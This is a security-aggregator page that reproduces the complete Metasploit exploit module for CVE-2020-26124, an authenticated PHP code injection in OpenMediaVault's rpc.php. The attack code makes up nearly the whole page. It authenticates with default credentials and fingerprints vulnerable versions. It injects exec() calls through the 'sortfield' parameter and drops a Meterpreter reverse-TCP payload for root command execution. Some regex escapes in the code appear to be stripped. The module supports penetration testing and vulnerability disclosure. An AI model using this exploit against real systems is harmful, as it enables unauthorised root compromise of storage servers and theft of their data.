HackDig : Dig high-quality web security articles for hackers

OpenMediaVault rpc.php Authenticated PHP Code Injection

2020-11-25 21:57
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  include Msf::Exploit::CmdStager  def initialize(info = {})    super(      update_info(        info,        'Name' => 'OpenMediaVault rpc.php Authenticated PHP Code Injection',        'Description' => %q{          This module exploits an authenticated PHP code injection          vulnerability found in openmediavault versions before 4.1.36          and 5.x versions before 5.5.12 inclusive in the "sortfield"          POST parameter of the rpc.php page, because "json_encode_safe()"          is not used in config/databasebackend.inc.          Successful exploitation grants attackers the ability to execute          arbitrary commands on the underlying operating system as root.        },        'Author' => [          'Anastasios Stasinopoulos' # @ancst of Obrela Labs Team - Discovery and Metasploit module        ],        'References' => [          ['CVE', '2020-26124'],          ['URL', 'https://www.openmediavault.org/?p=2797']        ],        'License' => MSF_LICENSE,        'Platform' => ['unix', 'linux'],        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],        'Payload' => { 'BadChars' => "x00" },        'DisclosureDate' => 'Sep 28 2020',        'Targets' =>          [            [              'Automatic (Linux Dropper)',              'Platform' => 'linux',              'Arch' => [ARCH_X86, ARCH_X64],              'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' },              'Type' => :linux_dropper            ]          ],        'Privileged' => false,        'DefaultTarget' => 0      )    )    register_options(      [        OptString.new('TARGETURI', [true, 'The URI path of the OpenMediaVault installation', '/']),        OptString.new('USERNAME', [true, 'The OpenMediaVault username to authenticate with', 'admin']),        OptString.new('PASSWORD', [true, 'The OpenMediaVault password to authenticate with', 'openmediavault'])      ]    )  end  def user    datastore['USERNAME']  end  def pass    datastore['PASSWORD']  end  def login(user, pass, _opts = {})    print_status("#{peer} - Authenticating with OpenMediaVault using #{user}:#{pass}...")    @uri = normalize_uri(target_uri.path, '/rpc.php')    res = send_request_cgi({      'uri' => @uri,      'method' => 'POST',      'ctype' => 'application/json',      'data' => {        "service": 'Session',        "method": 'login',        "params": {          "username": user.to_s,          "password": pass.to_s        },        "options": nil      }.to_json    })    unless res      # We return nil here, as callers should handle this case      # specifically with their own unique error message.      return nil    end    if res.code == 200 && res.body.scan('"authenticated":true,').flatten.first && res.get_cookies.scan(/X-OPENMEDIAVAULT-SESSIONID=(w+);*/).flatten.first      @cookie = res.get_cookies    end    return res  rescue ::Rex::ConnectionError    print_error('Rex::ConnectionError caught in login(), could not connect to the target.')    return nil  end  def get_target    print_status("#{peer} - Trying to detect if target is running a supported version of OpenMediaVault.")    res = send_request_cgi({      'uri' => @uri,      'method' => 'POST',      'cookie' => @cookie.to_s,      'data' => {        "service": 'System',        "method": 'getInformation',        "params": nil,        "options": {          "updatelastaccess": false        }      }.to_json    })    version = res.body.scan(/"version":"(d.d.{0,1}d{0,1}.{0,1}d{0,1})/).flatten.first    if version.nil?      print_error("#{peer} - Unable to grab version of OpenMediaVault installed on target!")      return nil    end    print_good("#{peer} - Identified OpenMediaVault version #{version}.")    version_gemmed = Gem::Version.new(version)    if version_gemmed < Gem::Version.new('3.0.1')      return version    elsif version_gemmed >= Gem::Version.new('4.0.0') && version_gemmed < Gem::Version.new('4.1.36')      return version    elsif version_gemmed >= Gem::Version.new('5.0.0') && version_gemmed < Gem::Version.new('5.5.12')      return version    else      return nil    end    return version  end  def execute_command(cmd, _opts = {})    send_request_cgi({      'uri' => @uri,      'method' => 'POST',      'cookie' => @cookie.to_s,      'data' => {        "service": 'LogFile',        "method": 'getList',        "params": {          "id": 'apt_history',          "start": 0,          "limit": 50,          "sortfield": "'.exec("#{cmd}").'",          "sortdir": 'DESC'        },        "options": nil      }.to_json    })  rescue ::Rex::ConnectionError    fail_with(Failure::Unreachable, 'Rex::ConnectionError caught in execute_command(), could not connect to the target.')  end  def check    res = login(user, pass)    unless res      return CheckCode::Unknown("No response was received from #{peer} whilst in check(), check it is online and the target port is open!")    end    if @cookie.nil?      return Exploit::CheckCode::Unknown("Failed to authenticate with OpenMediaVault on #{peer} using #{user}:#{pass}")    end    print_good("#{peer} - Successfully authenticated with OpenMediaVault using #{user}:#{pass}.")    version = get_target    if version.nil?      # We don't print out an error message here as returning this will      # automatically cause Metasploit to print out an appropriate error message.      return CheckCode::Safe    end    delay = rand(7...15)    cmd = "").usleep(#{delay}0000).(""    print_status("#{peer} - Verifying remote code execution by attempting to execute 'usleep()'.")    t1 = Time.now.to_i    res = execute_command(cmd)    t2 = Time.now.to_i    unless res      print_error("#{peer} - Connection failed whilst trying to perform the code injection.")      return CheckCode::Detected    end    diff = t2 - t1    if diff >= 3      print_good("#{peer} - Response received after #{diff} seconds.")      return CheckCode::Vulnerable    end    print_error("#{peer} - Response wasn't received within the expected period of time.")    return CheckCode::Safe  rescue ::Rex::ConnectionError    print_error("#{peer} - Rex::ConnectionError caught in check(), could not connect to the target.")    return CheckCode::Unknown  end  def exploit    print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)...")    execute_cmdstager(linemax: 130_000)  rescue ::Rex::ConnectionError    print_error('Rex::ConnectionError caught in exploit(), could not connect to the target.')    return false  endend


Source: 6020110202-BLW/eussi/moc.ytirucesxc

Read:212 | Comments:0 | Tags:No Tag

“OpenMediaVault rpc.php Authenticated PHP Code Injection”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Tools

Tag Cloud